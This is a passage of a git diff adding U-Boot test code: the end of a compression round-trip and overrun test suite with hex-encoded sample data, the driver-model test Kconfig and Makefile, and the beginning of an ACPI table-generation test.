+ "\x61\x79\x2c\x0a\x77\x68\x69\x63\x68\x20\x61\x70\x70\x65\x61\x72"
+ "\x73\x20\x74\x6f\x20\x62\x65\x68\x61\x76\x65\x20\x70\x6f\x6f\x72"
+ "\x6c\x79\x20\x69\x6e\x20\x74\x68\x65\x20\x66\x61\x63\x65\x20\x6f"
+ "\x66\x20\x73\x68\x6f\x72\x74\x20\x74\x65\x78\x74\x0a\x6d\x65\x73"
+ "\x73\x61\x67\x65\x73\x2e\x0a\x11\x00\x00\x00\x00\x00\x00";
+static const unsigned long lzo_compressed_size = sizeof(lzo_compressed) - 1;
+
+/* lz4 -z /tmp/plain.txt > /tmp/plain.lz4 */
+static const char lz4_compressed[] =
+ "\x04\x22\x4d\x18\x64\x70\xb9\x01\x01\x00\x00\xff\x19\x49\x20\x61"
+ "\x6d\x20\x61\x20\x68\x69\x67\x68\x6c\x79\x20\x63\x6f\x6d\x70\x72"
+ "\x65\x73\x73\x61\x62\x6c\x65\x20\x62\x69\x74\x20\x6f\x66\x20\x74"
+ "\x65\x78\x74\x2e\x0a\x28\x00\x3d\xf1\x25\x54\x68\x65\x72\x65\x20"
+ "\x61\x72\x65\x20\x6d\x61\x6e\x79\x20\x6c\x69\x6b\x65\x20\x6d\x65"
+ "\x2c\x20\x62\x75\x74\x20\x74\x68\x69\x73\x20\x6f\x6e\x65\x20\x69"
+ "\x73\x20\x6d\x69\x6e\x65\x2e\x0a\x49\x66\x20\x49\x20\x77\x32\x00"
+ "\xd1\x6e\x79\x20\x73\x68\x6f\x72\x74\x65\x72\x2c\x20\x74\x45\x00"
+ "\xf4\x0b\x77\x6f\x75\x6c\x64\x6e\x27\x74\x20\x62\x65\x20\x6d\x75"
+ "\x63\x68\x20\x73\x65\x6e\x73\x65\x20\x69\x6e\x0a\xcf\x00\x50\x69"
+ "\x6e\x67\x20\x6d\x12\x00\x00\x32\x00\xf0\x11\x20\x66\x69\x72\x73"
+ "\x74\x20\x70\x6c\x61\x63\x65\x2e\x20\x41\x74\x20\x6c\x65\x61\x73"
+ "\x74\x20\x77\x69\x74\x68\x20\x6c\x7a\x6f\x2c\x63\x00\xf5\x14\x77"
+ "\x61\x79\x2c\x0a\x77\x68\x69\x63\x68\x20\x61\x70\x70\x65\x61\x72"
+ "\x73\x20\x74\x6f\x20\x62\x65\x68\x61\x76\x65\x20\x70\x6f\x6f\x72"
+ "\x6c\x79\x4e\x00\x30\x61\x63\x65\x27\x01\x01\x95\x00\x01\x2d\x01"
+ "\xb0\x0a\x6d\x65\x73\x73\x61\x67\x65\x73\x2e\x0a\x00\x00\x00\x00"
+ "\x9d\x12\x8c\x9d";
+static const unsigned long lz4_compressed_size = sizeof(lz4_compressed) - 1;
+
+/* zstd -19 -c /tmp/plain.txt > /tmp/plain.zst */
+static const char zstd_compressed[] =
+ "\x28\xb5\x2f\xfd\x64\x5e\x00\xbd\x05\x00\x02\x0e\x26\x1a\x70\x17"
+ "\xb8\x0d\x0c\x53\x5c\x9d\x97\xee\xa0\x5d\x84\x89\x3f\x5c\x7a\x78"
+ "\x00\x80\x80\x0f\xe8\xdf\xaf\x06\x66\xd0\x23\xa6\x7a\x64\x8e\xf4"
+ "\x0d\x5b\x47\x65\x26\x7e\x81\xdd\x0b\xe7\x5a\x95\x3d\x49\xcc\x67"
+ "\xe0\x2d\x46\x58\xb6\xac\x64\x16\xf2\xe0\xf8\x16\x17\xaf\xda\x8f"
+ "\x37\xc0\xc3\x0d\x3b\x89\x57\x15\x1e\x46\x46\x12\x9a\x84\xbe\xa6"
+ "\xab\xcf\x50\x90\x5f\x78\x01\xd2\xc0\x51\x72\x59\x0b\xea\xab\xf2"
+ "\xd4\x2b\x2d\x26\x7c\x10\x66\x78\x42\x64\x45\x3f\xa5\x15\x6f\xbd"
+ "\x4a\x61\xe1\xc8\x27\xc0\xe3\x95\x0c\xf9\xca\x7c\xf5\x13\x30\xc3"
+ "\x1a\x7c\x7d\xa4\x17\x0b\xff\x14\xa6\x7a\x95\xa0\x34\xbc\xce\x21"
+ "\x78\x36\x23\x33\x11\x09\x00\x60\x13\x00\x63\xa3\x8e\x28\x94\x55"
+ "\x15\xb6\x26\x68\x05\x4f\x23\x12\xee\x53\x55\x2d\x44\x2f\x54\x95"
+ "\x01\xe4\xf4\x6e\xfa";
+static const unsigned long zstd_compressed_size = sizeof(zstd_compressed) - 1;
+
+
+#define TEST_BUFFER_SIZE 512
+
+typedef int (*mutate_func)(struct unit_test_state *uts, void *, unsigned long,
+ void *, unsigned long, unsigned long *);
+
+static int compress_using_gzip(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ int ret;
+ unsigned long inout_size = out_max;
+
+ ret = gzip(out, &inout_size, in, in_size);
+ if (out_size)
+ *out_size = inout_size;
+
+ return ret;
+}
+
+static int uncompress_using_gzip(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ int ret;
+ unsigned long inout_size = in_size;
+
+ ret = gunzip(out, out_max, in, &inout_size);
+ if (out_size)
+ *out_size = inout_size;
+
+ return ret;
+}
+
+static int compress_using_bzip2(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ /* There is no bzip2 compression in u-boot, so fake it. */
+ ut_asserteq(in_size, strlen(plain));
+ ut_asserteq_mem(plain, in, in_size);
+
+ if (bzip2_compressed_size > out_max)
+ return -1;
+
+ memcpy(out, bzip2_compressed, bzip2_compressed_size);
+ if (out_size)
+ *out_size = bzip2_compressed_size;
+
+ return 0;
+}
+
+static int uncompress_using_bzip2(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ int ret;
+ unsigned int inout_size = out_max;
+
+ ret = BZ2_bzBuffToBuffDecompress(out, &inout_size, in, in_size,
+ CONFIG_SYS_MALLOC_LEN < (4096 * 1024), 0);
+ if (out_size)
+ *out_size = inout_size;
+
+ return (ret != BZ_OK);
+}
+
+static int compress_using_lzma(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ /* There is no lzma compression in u-boot, so fake it. */
+ ut_asserteq(in_size, strlen(plain));
+ ut_asserteq_mem(plain, in, in_size);
+
+ if (lzma_compressed_size > out_max)
+ return -1;
+
+ memcpy(out, lzma_compressed, lzma_compressed_size);
+ if (out_size)
+ *out_size = lzma_compressed_size;
+
+ return 0;
+}
+
+static int uncompress_using_lzma(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ int ret;
+ SizeT inout_size = out_max;
+
+ ret = lzmaBuffToBuffDecompress(out, &inout_size, in, in_size);
+ if (out_size)
+ *out_size = inout_size;
+
+ return (ret != SZ_OK);
+}
+
+static int compress_using_lzo(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ /* There is no lzo compression in u-boot, so fake it. */
+ ut_asserteq(in_size, strlen(plain));
+ ut_asserteq_mem(plain, in, in_size);
+
+ if (lzo_compressed_size > out_max)
+ return -1;
+
+ memcpy(out, lzo_compressed, lzo_compressed_size);
+ if (out_size)
+ *out_size = lzo_compressed_size;
+
+ return 0;
+}
+
+static int uncompress_using_lzo(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ int ret;
+ size_t input_size = in_size;
+ size_t output_size = out_max;
+
+ ret = lzop_decompress(in, input_size, out, &output_size);
+ if (out_size)
+ *out_size = output_size;
+
+ return (ret != LZO_E_OK);
+}
+
+static int compress_using_lz4(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ /* There is no lz4 compression in u-boot, so fake it. */
+ ut_asserteq(in_size, strlen(plain));
+ ut_asserteq_mem(plain, in, in_size);
+
+ if (lz4_compressed_size > out_max)
+ return -1;
+
+ memcpy(out, lz4_compressed, lz4_compressed_size);
+ if (out_size)
+ *out_size = lz4_compressed_size;
+
+ return 0;
+}
+
+static int uncompress_using_lz4(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ int ret;
+ size_t input_size = in_size;
+ size_t output_size = out_max;
+
+ ret = ulz4fn(in, input_size, out, &output_size);
+ if (out_size)
+ *out_size = output_size;
+
+ return (ret != 0);
+}
+
+static int compress_using_zstd(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ /* There is no zstd compression in u-boot, so fake it. */
+ ut_asserteq(in_size, strlen(plain));
+ ut_asserteq_mem(plain, in, in_size);
+
+ if (zstd_compressed_size > out_max)
+ return -1;
+
+ memcpy(out, zstd_compressed, zstd_compressed_size);
+ if (out_size)
+ *out_size = zstd_compressed_size;
+
+ return 0;
+}
+
+static int uncompress_using_zstd(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ struct abuf in_buf, out_buf;
+ int ret;
+
+ abuf_init_set(&in_buf, in, in_size);
+ abuf_init_set(&out_buf, out, out_max);
+
+ ret = zstd_decompress(&in_buf, &out_buf);
+ if (ret >= 0) {
+ *out_size = ret;
+ ret = 0;
+ }
+
+ return ret;
+}
+
+#define errcheck(statement) if (!(statement)) { \
+ fprintf(stderr, "\tFailed: %s\n", #statement); \
+ ret = 1; \
+ goto out; \
+}
+
+struct buf_state {
+ ulong orig_size;
+ ulong compressed_size;
+ ulong uncompressed_size;
+ void *orig_buf;
+ void *compressed_buf;
+ void *uncompressed_buf;
+ void *compare_buf;
+};
+
+static int run_test_internal(struct unit_test_state *uts, char *name,
+ mutate_func compress, mutate_func uncompress,
+ struct buf_state *buf)
+{
+ int ret;
+
+ /* Compress works as expected. */
+ printf("\torig_size:%lu\n", buf->orig_size);
+ memset(buf->compressed_buf, 'A', TEST_BUFFER_SIZE);
+ ut_assertok(compress(uts, buf->orig_buf, buf->orig_size,
+ buf->compressed_buf, buf->compressed_size,
+ &buf->compressed_size));
+ printf("\tcompressed_size:%lu\n", buf->compressed_size);
+ ut_assert(buf->compressed_size > 0);
+ ut_assert(buf->compressed_size < buf->orig_size);
+ ut_assert(((char *)buf->compressed_buf)[buf->compressed_size - 1]
+ != 'A');
+ ut_asserteq(((char *)buf->compressed_buf)[buf->compressed_size], 'A');
+
+ /* Uncompresses with space remaining. */
+ ut_assertok(uncompress(uts, buf->compressed_buf, buf->compressed_size,
+ buf->uncompressed_buf, buf->uncompressed_size,
+ &buf->uncompressed_size));
+ printf("\tuncompressed_size:%lu\n", buf->uncompressed_size);
+ ut_asserteq(buf->uncompressed_size, buf->orig_size);
+ ut_asserteq_mem(buf->orig_buf, buf->uncompressed_buf, buf->orig_size);
+
+ /* Uncompresses with exactly the right size output buffer. */
+ memset(buf->uncompressed_buf, 'A', TEST_BUFFER_SIZE);
+ ut_assertok(uncompress(uts, buf->compressed_buf, buf->compressed_size,
+ buf->uncompressed_buf, buf->orig_size,
+ &buf->uncompressed_size));
+ ut_asserteq(buf->uncompressed_size, buf->orig_size);
+ ut_asserteq_mem(buf->orig_buf, buf->uncompressed_buf, buf->orig_size);
+ ut_asserteq(((char *)buf->uncompressed_buf)[buf->orig_size], 'A');
+
+ /* Uncompresses with trailing garbage in input buffer. */
+ memset(buf->uncompressed_buf, 'A', TEST_BUFFER_SIZE);
+ ut_assertok(uncompress(uts, buf->compressed_buf, buf->compressed_size + 4,
+ buf->uncompressed_buf, buf->uncompressed_size,
+ &buf->uncompressed_size));
+ ut_asserteq(buf->uncompressed_size, buf->orig_size);
+ ut_asserteq_mem(buf->orig_buf, buf->uncompressed_buf, buf->orig_size);
+
+ /* Make sure compression does not over-run. */
+ memset(buf->compare_buf, 'A', TEST_BUFFER_SIZE);
+ ret = compress(uts, buf->orig_buf, buf->orig_size,
+ buf->compare_buf, buf->compressed_size - 1,
+ NULL);
+ ut_asserteq(((char *)buf->compare_buf)[buf->compressed_size], 'A');
+ ut_assert(ret != 0);
+ printf("\tcompress does not overrun\n");
+
+ /* Make sure decompression does not over-run. */
+ memset(buf->compare_buf, 'A', TEST_BUFFER_SIZE);
+ ret = uncompress(uts, buf->compressed_buf, buf->compressed_size,
+ buf->compare_buf, buf->uncompressed_size - 1,
+ NULL);
+ ut_asserteq(((char *)buf->compare_buf)[buf->uncompressed_size - 1], 'A');
+ ut_assert(ret != 0);
+ printf("\tuncompress does not overrun\n");
+
+ /* Got here, everything is fine. */
+ return 0;
+}
+
+static int run_test(struct unit_test_state *uts, char *name,
+ mutate_func compress, mutate_func uncompress)
+{
+ struct buf_state sbuf, *buf = &sbuf;
+ int ret;
+
+ printf(" testing %s ...\n", name);
+
+ buf->orig_buf = (void *)plain;
+ buf->orig_size = strlen(buf->orig_buf); /* Trailing NUL not included */
+ errcheck(buf->orig_size > 0);
+
+ buf->compressed_size = TEST_BUFFER_SIZE;
+ buf->uncompressed_size = TEST_BUFFER_SIZE;
+ buf->compressed_buf = malloc(buf->compressed_size);
+ errcheck(buf->compressed_buf);
+ buf->uncompressed_buf = malloc(buf->uncompressed_size);
+ errcheck(buf->uncompressed_buf);
+ buf->compare_buf = malloc(buf->uncompressed_size);
+ errcheck(buf->compare_buf);
+
+ ret = run_test_internal(uts, name, compress, uncompress, buf);
+out:
+ printf(" %s: %s\n", name, ret == 0 ? "ok" : "FAILED");
+
+ free(buf->compare_buf);
+ free(buf->uncompressed_buf);
+ free(buf->compressed_buf);
+
+ return ret;
+}
+
+static int compression_test_gzip(struct unit_test_state *uts)
+{
+ return run_test(uts, "gzip", compress_using_gzip,
+ uncompress_using_gzip);
+}
+COMPRESSION_TEST(compression_test_gzip, 0);
+
+static int compression_test_bzip2(struct unit_test_state *uts)
+{
+ return run_test(uts, "bzip2", compress_using_bzip2,
+ uncompress_using_bzip2);
+}
+COMPRESSION_TEST(compression_test_bzip2, 0);
+
+static int compression_test_lzma(struct unit_test_state *uts)
+{
+ return run_test(uts, "lzma", compress_using_lzma,
+ uncompress_using_lzma);
+}
+COMPRESSION_TEST(compression_test_lzma, 0);
+
+static int compression_test_lzo(struct unit_test_state *uts)
+{
+ return run_test(uts, "lzo", compress_using_lzo, uncompress_using_lzo);
+}
+COMPRESSION_TEST(compression_test_lzo, 0);
+
+static int compression_test_lz4(struct unit_test_state *uts)
+{
+ return run_test(uts, "lz4", compress_using_lz4, uncompress_using_lz4);
+}
+COMPRESSION_TEST(compression_test_lz4, 0);
+
+static int compression_test_zstd(struct unit_test_state *uts)
+{
+ return run_test(uts, "zstd", compress_using_zstd,
+ uncompress_using_zstd);
+}
+COMPRESSION_TEST(compression_test_zstd, 0);
+
+static int compress_using_none(struct unit_test_state *uts,
+ void *in, unsigned long in_size,
+ void *out, unsigned long out_max,
+ unsigned long *out_size)
+{
+ /* Here we just copy */
+ memcpy(out, in, in_size);
+ *out_size = in_size;
+
+ return 0;
+}
+
+/**
+ * run_bootm_test() - Run tests on the bootm decompression function
+ *
+ * @comp_type: Compression type to test
+ * @compress: Our function to compress data
+ * Return: 0 if OK, non-zero on failure
+ */
+static int run_bootm_test(struct unit_test_state *uts, int comp_type,
+ mutate_func compress)
+{
+ ulong compress_size = 1024;
+ void *compress_buff;
+ int unc_len;
+ int err = 0;
+ const ulong image_start = 0;
+ const ulong load_addr = 0x1000;
+ ulong load_end;
+
+ printf("Testing: %s\n", genimg_get_comp_name(comp_type));
+ compress_buff = map_sysmem(image_start, 0);
+ unc_len = strlen(plain);
+ compress(uts, (void *)plain, unc_len, compress_buff, compress_size,
+ &compress_size);
+ err = image_decomp(comp_type, load_addr, image_start,
+ IH_TYPE_KERNEL, map_sysmem(load_addr, 0),
+ compress_buff, compress_size, unc_len,
+ &load_end);
+ ut_assertok(err);
+ err = image_decomp(comp_type, load_addr, image_start,
+ IH_TYPE_KERNEL, map_sysmem(load_addr, 0),
+ compress_buff, compress_size, unc_len - 1,
+ &load_end);
+ ut_assert(err);
+
+ /* We can't detect corruption when not decompressing */
+ if (comp_type == IH_COMP_NONE)
+ return 0;
+ memset(compress_buff + compress_size / 2, '\x49',
+ compress_size / 2);
+ err = image_decomp(comp_type, load_addr, image_start,
+ IH_TYPE_KERNEL, map_sysmem(load_addr, 0),
+ compress_buff, compress_size, 0x10000,
+ &load_end);
+ ut_assert(err);
+
+ return 0;
+}
+
+static int compression_test_bootm_gzip(struct unit_test_state *uts)
+{
+ return run_bootm_test(uts, IH_COMP_GZIP, compress_using_gzip);
+}
+COMPRESSION_TEST(compression_test_bootm_gzip, 0);
+
+static int compression_test_bootm_bzip2(struct unit_test_state *uts)
+{
+ return run_bootm_test(uts, IH_COMP_BZIP2, compress_using_bzip2);
+}
+COMPRESSION_TEST(compression_test_bootm_bzip2, 0);
+
+static int compression_test_bootm_lzma(struct unit_test_state *uts)
+{
+ return run_bootm_test(uts, IH_COMP_LZMA, compress_using_lzma);
+}
+COMPRESSION_TEST(compression_test_bootm_lzma, 0);
+
+static int compression_test_bootm_lzo(struct unit_test_state *uts)
+{
+ return run_bootm_test(uts, IH_COMP_LZO, compress_using_lzo);
+}
+COMPRESSION_TEST(compression_test_bootm_lzo, 0);
+
+static int compression_test_bootm_lz4(struct unit_test_state *uts)
+{
+ return run_bootm_test(uts, IH_COMP_LZ4, compress_using_lz4);
+}
+COMPRESSION_TEST(compression_test_bootm_lz4, 0);
+
+static int compression_test_bootm_zstd(struct unit_test_state *uts)
+{
+ return run_bootm_test(uts, IH_COMP_ZSTD, compress_using_zstd);
+}
+COMPRESSION_TEST(compression_test_bootm_zstd, 0);
+
+static int compression_test_bootm_none(struct unit_test_state *uts)
+{
+ return run_bootm_test(uts, IH_COMP_NONE, compress_using_none);
+}
+COMPRESSION_TEST(compression_test_bootm_none, 0);
+
+int do_ut_compression(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(compression_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(compression_test);
+
+ return cmd_ut_category("compression", "compression_test_",
+ tests, n_ents, argc, argv);
+}
diff --git a/test/dm/Kconfig b/test/dm/Kconfig
new file mode 100644
index 00000000000..e5b341e523a
--- /dev/null
+++ b/test/dm/Kconfig
@@ -0,0 +1,8 @@
+config UT_DM
+ bool "Enable driver model unit test command"
+ depends on SANDBOX && UNIT_TEST
+ help
+ This enables the 'ut dm' command which runs a series of unit
+ tests on the driver model code. Each subsystem (uclass) is tested.
+ If all is well then all tests pass although there will be a few
+ messages printed along the way.
diff --git a/test/dm/Makefile b/test/dm/Makefile
new file mode 100644
index 00000000000..c12589d487c
--- /dev/null
+++ b/test/dm/Makefile
@@ -0,0 +1,138 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2013 Google, Inc
+# Copyright 2022-2023 Arm Limited and/or its affiliates <open-source-office@arm.com>
+
+obj-$(CONFIG_UT_DM) += test-dm.o
+
+# Tests for particular subsystems - when enabling driver model for a new
+# subsystem you must add sandbox tests here.
+ifeq ($(CONFIG_SPL_BUILD),y)
+obj-$(CONFIG_SPL_OF_PLATDATA) += of_platdata.o
+else
+obj-$(CONFIG_UT_DM) += bus.o
+obj-$(CONFIG_UT_DM) += test-driver.o
+obj-$(CONFIG_UT_DM) += test-fdt.o
+obj-$(CONFIG_UT_DM) += test-uclass.o
+
+obj-$(CONFIG_UT_DM) += core.o
+obj-$(CONFIG_UT_DM) += read.o
+obj-$(CONFIG_UT_DM) += phys2bus.o
+ifeq ($(CONFIG_NVMXIP_QSPI)$(CONFIG_SANDBOX64),yy)
+obj-y += nvmxip.o
+endif
+
+ifneq ($(CONFIG_SANDBOX),)
+ifeq ($(CONFIG_ACPIGEN),y)
+obj-y += acpi.o
+obj-y += acpigen.o
+obj-y += acpi_dp.o
+obj-(CONFIG_DM_GPIO) += gpio.o
+obj-y += irq.o
+endif
+obj-$(CONFIG_ADC) += adc.o
+obj-$(CONFIG_SOUND) += audio.o
+obj-$(CONFIG_AXI) += axi.o
+obj-$(CONFIG_BLK) += blk.o
+obj-$(CONFIG_BLKMAP) += blkmap.o
+obj-$(CONFIG_BUTTON) += button.o
+obj-$(CONFIG_DM_BOOTCOUNT) += bootcount.o
+obj-$(CONFIG_DM_REBOOT_MODE) += reboot-mode.o
+obj-$(CONFIG_CLK) += clk.o clk_ccf.o
+obj-$(CONFIG_CPU) += cpu.o
+obj-$(CONFIG_CROS_EC) += cros_ec.o
+obj-$(CONFIG_PWM_CROS_EC) += cros_ec_pwm.o
+obj-$(CONFIG_$(SPL_TPL_)DEVRES) += devres.o
+obj-$(CONFIG_DMA) += dma.o
+obj-$(CONFIG_VIDEO_MIPI_DSI) += dsi_host.o
+obj-$(CONFIG_DM_DSA) += dsa.o
+obj-$(CONFIG_ECDSA_VERIFY) += ecdsa.o
+obj-$(CONFIG_EFI_MEDIA_SANDBOX) += efi_media.o
+obj-$(CONFIG_DM_ETH) += eth.o
+obj-$(CONFIG_EXTCON) += extcon.o
+ifneq ($(CONFIG_EFI_PARTITION),)
+obj-$(CONFIG_FASTBOOT_FLASH_MMC) += fastboot.o
+endif
+obj-$(CONFIG_FIRMWARE) += firmware.o
+obj-$(CONFIG_DM_FPGA) += fpga.o
+obj-$(CONFIG_FWU_MDATA_GPT_BLK) += fwu_mdata.o
+obj-$(CONFIG_SANDBOX) += host.o
+obj-$(CONFIG_DM_HWSPINLOCK) += hwspinlock.o
+obj-$(CONFIG_DM_I2C) += i2c.o
+obj-$(CONFIG_SOUND) += i2s.o
+obj-$(CONFIG_CLK_K210_SET_RATE) += k210_pll.o
+obj-$(CONFIG_IOMMU) += iommu.o
+obj-$(CONFIG_LED) += led.o
+obj-$(CONFIG_DM_MAILBOX) += mailbox.o
+obj-$(CONFIG_DM_MDIO) += mdio.o
+obj-$(CONFIG_DM_MDIO_MUX) += mdio_mux.o
+obj-$(CONFIG_MEMORY) += memory.o
+obj-$(CONFIG_MISC) += misc.o
+obj-$(CONFIG_DM_MMC) += mmc.o
+obj-$(CONFIG_CMD_MUX) += mux-cmd.o
+obj-$(CONFIG_MULTIPLEXER) += mux-emul.o
+obj-$(CONFIG_MUX_MMIO) += mux-mmio.o
+obj-y += fdtdec.o
+obj-$(CONFIG_MTD_RAW_NAND) += nand.o
+obj-$(CONFIG_UT_DM) += nop.o
+obj-y += ofnode.o
+obj-y += ofread.o
+obj-y += of_extra.o
+obj-$(CONFIG_OSD) += osd.o
+obj-$(CONFIG_VIDEO) += panel.o
+obj-$(CONFIG_EFI_PARTITION) += part.o
+obj-$(CONFIG_PCI) += pci.o
+obj-$(CONFIG_P2SB) += p2sb.o
+obj-$(CONFIG_PCI_ENDPOINT) += pci_ep.o
+obj-$(CONFIG_PCH) += pch.o
+obj-$(CONFIG_PHY) += phy.o
+ifneq ($(CONFIG_PINMUX),)
+obj-$(CONFIG_PINCONF) += pinmux.o
+endif
+obj-$(CONFIG_POWER_DOMAIN) += power-domain.o
+obj-$(CONFIG_ACPI_PMC) += pmc.o
+obj-$(CONFIG_DM_PMIC) += pmic.o
+obj-$(CONFIG_DM_PWM) += pwm.o
+obj-$(CONFIG_ARM_FFA_TRANSPORT) += ffa.o
+obj-$(CONFIG_QFW) += qfw.o
+obj-$(CONFIG_RAM) += ram.o
+obj-y += regmap.o
+obj-$(CONFIG_REMOTEPROC) += remoteproc.o
+obj-$(CONFIG_DM_RESET) += reset.o
+obj-$(CONFIG_SYSRESET) += sysreset.o
+obj-$(CONFIG_DM_REGULATOR) += regulator.o
+obj-$(CONFIG_CMD_RKMTD) += rkmtd.o
+obj-$(CONFIG_$(SPL_TPL_)DM_RNG) += rng.o
+obj-$(CONFIG_DM_RTC) += rtc.o
+obj-$(CONFIG_SCMI_FIRMWARE) += scmi.o
+obj-$(CONFIG_SCSI) += scsi.o
+obj-$(CONFIG_DM_SERIAL) += serial.o
+obj-$(CONFIG_DM_SPI_FLASH) += sf.o
+obj-$(CONFIG_SIMPLE_BUS) += simple-bus.o
+obj-$(CONFIG_SIMPLE_PM_BUS) += simple-pm-bus.o
+obj-$(CONFIG_SMEM) += smem.o
+obj-$(CONFIG_SOC_DEVICE) += soc.o
+obj-$(CONFIG_SOUND) += sound.o
+obj-$(CONFIG_DM_SPI) += spi.o
+obj-$(CONFIG_SPMI) += spmi.o
+obj-y += syscon.o
+obj-$(CONFIG_RESET_SYSCON) += syscon-reset.o
+obj-$(CONFIG_SM) += sm.o
+obj-$(CONFIG_SYSINFO) += sysinfo.o
+obj-$(CONFIG_SYSINFO_GPIO) += sysinfo-gpio.o
+obj-$(CONFIG_UT_DM) += tag.o
+obj-$(CONFIG_TEE) += tee.o
+obj-$(CONFIG_TIMER) += timer.o
+obj-$(CONFIG_TPM_V2) += tpm.o
+obj-$(CONFIG_DM_USB) += usb.o
+obj-$(CONFIG_VIDEO) += video.o
+ifeq ($(CONFIG_VIRTIO_SANDBOX),y)
+obj-y += virtio.o
+obj-$(CONFIG_VIRTIO_RNG) += virtio_device.o
+obj-$(CONFIG_VIRTIO_RNG) += virtio_rng.o
+endif
+ifeq ($(CONFIG_WDT_GPIO)$(CONFIG_WDT_SANDBOX),yy)
+obj-y += wdt.o
+endif
+endif
+endif # !SPL
diff --git a/test/dm/acpi.c b/test/dm/acpi.c
new file mode 100644
index 00000000000..4db2171a4b1
--- /dev/null
+++ b/test/dm/acpi.c
@@ -0,0 +1,758 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for ACPI table generation
+ *
+ * Copyright 2019 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <console.h>
+#include <dm.h>
+#include <malloc.h>
+#include <mapmem.h>
+#include <tables_csum.h>
+#include <version_string.h>
+#include <acpi/acpigen.h>
+#include <acpi/acpi_device.h>
+#include <acpi/acpi_table.h>
+#include <asm/global_data.h>
+#include <dm/acpi.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include "acpi.h"
+
+#define BUF_SIZE 4096
+
+#define OEM_REVISION ((((version_num / 1000) % 10) << 28) | \
+ (((version_num / 100) % 10) << 24) | \
+ (((version_num / 10) % 10) << 20) | \
+ ((version_num % 10) << 16) | \
+ (((version_num_patch / 10) % 10) << 12) | \
+ ((version_num_patch % 10) << 8) | \
+ 0x01)
+
+/**
+ * struct testacpi_plat - Platform data for the test ACPI device
+ *
+ * @no_name: true to emit an empty ACPI name from testacpi_get_name()
+ * @return_error: true to return an error instead of a name
+ */
+struct testacpi_plat {
+ bool return_error;
+ bool no_name;
+};
+
+/**
+ * setup_ctx_and_base_tables() - Set up context along with RSDP, RSDT and XSDT
+ *
+ * Set up the context with the given start position. Some basic tables are
+ * always needed, so set them up as well.
+ *
+ * @ctx: Context to set up
+ */
+static int setup_ctx_and_base_tables(struct unit_test_state *uts,
+ struct acpi_ctx *ctx, ulong start)
+{
+ struct acpi_writer *entry = ACPI_WRITER_GET(0base);
+
+ acpi_setup_ctx(ctx, start);
+
+ ctx->tab_start = ctx->current;
+ ut_assertok(acpi_write_one(ctx, entry));
+
+ return 0;
+}
+
+static int testacpi_write_tables(const struct udevice *dev,
+ struct acpi_ctx *ctx)
+{
+ struct acpi_dmar *dmar;
+ int ret;
+
+ dmar = (struct acpi_dmar *)ctx->current;
+ acpi_create_dmar(dmar, DMAR_INTR_REMAP);
+ ctx->current += sizeof(struct acpi_dmar);
+ ret = acpi_add_table(ctx, dmar);
+ if (ret)
+ return log_msg_ret("add", ret);
+
+ return 0;
+}
+
+static int testacpi_get_name(const struct udevice *dev, char *out_name)
+{
+ struct testacpi_plat *plat = dev_get_plat(dev);
+
+ if (plat->return_error)
+ return -EINVAL;
+ if (plat->no_name) {
+ *out_name = '\0';
+ return 0;
+ }
+ if (device_get_uclass_id(dev->parent) == UCLASS_TEST_ACPI)
+ return acpi_copy_name(out_name, ACPI_TEST_CHILD_NAME);
+ else
+ return acpi_copy_name(out_name, ACPI_TEST_DEV_NAME);
+}
+
+static int testacpi_fill_ssdt(const struct udevice *dev, struct acpi_ctx *ctx)
+{
+ const char *data;
+
+ data = dev_read_string(dev, "acpi-ssdt-test-data");
+ if (data) {
+ while (*data)
+ acpigen_emit_byte(ctx, *data++);
+ }
+
+ return 0;
+}
+
+static int testacpi_inject_dsdt(const struct udevice *dev, struct acpi_ctx *ctx)
+{
+ const char *data;
+
+ data = dev_read_string(dev, "acpi-dsdt-test-data");
+ if (data) {
+ while (*data)
+ acpigen_emit_byte(ctx, *data++);
+ }
+
+ return 0;
+}
+
+struct acpi_ops testacpi_ops = {
+ .get_name = testacpi_get_name,
+ .write_tables = testacpi_write_tables,
+ .fill_ssdt = testacpi_fill_ssdt,
+ .inject_dsdt = testacpi_inject_dsdt,
+};
+
+static const struct udevice_id testacpi_ids[] = {
+ { .compatible = "denx,u-boot-acpi-test" },
+ { }
+};
+
+U_BOOT_DRIVER(testacpi_drv) = {
+ .name = "testacpi_drv",
+ .of_match = testacpi_ids,
+ .id = UCLASS_TEST_ACPI,
+ .bind = dm_scan_fdt_dev,
+ .plat_auto = sizeof(struct testacpi_plat),
+ ACPI_OPS_PTR(&testacpi_ops)
+};
+
+UCLASS_DRIVER(testacpi) = {
+ .name = "testacpi",
+ .id = UCLASS_TEST_ACPI,
+};
+
+/* Test ACPI get_name() */
+static int dm_test_acpi_get_name(struct unit_test_state *uts)
+{
+ char name[ACPI_NAME_MAX];
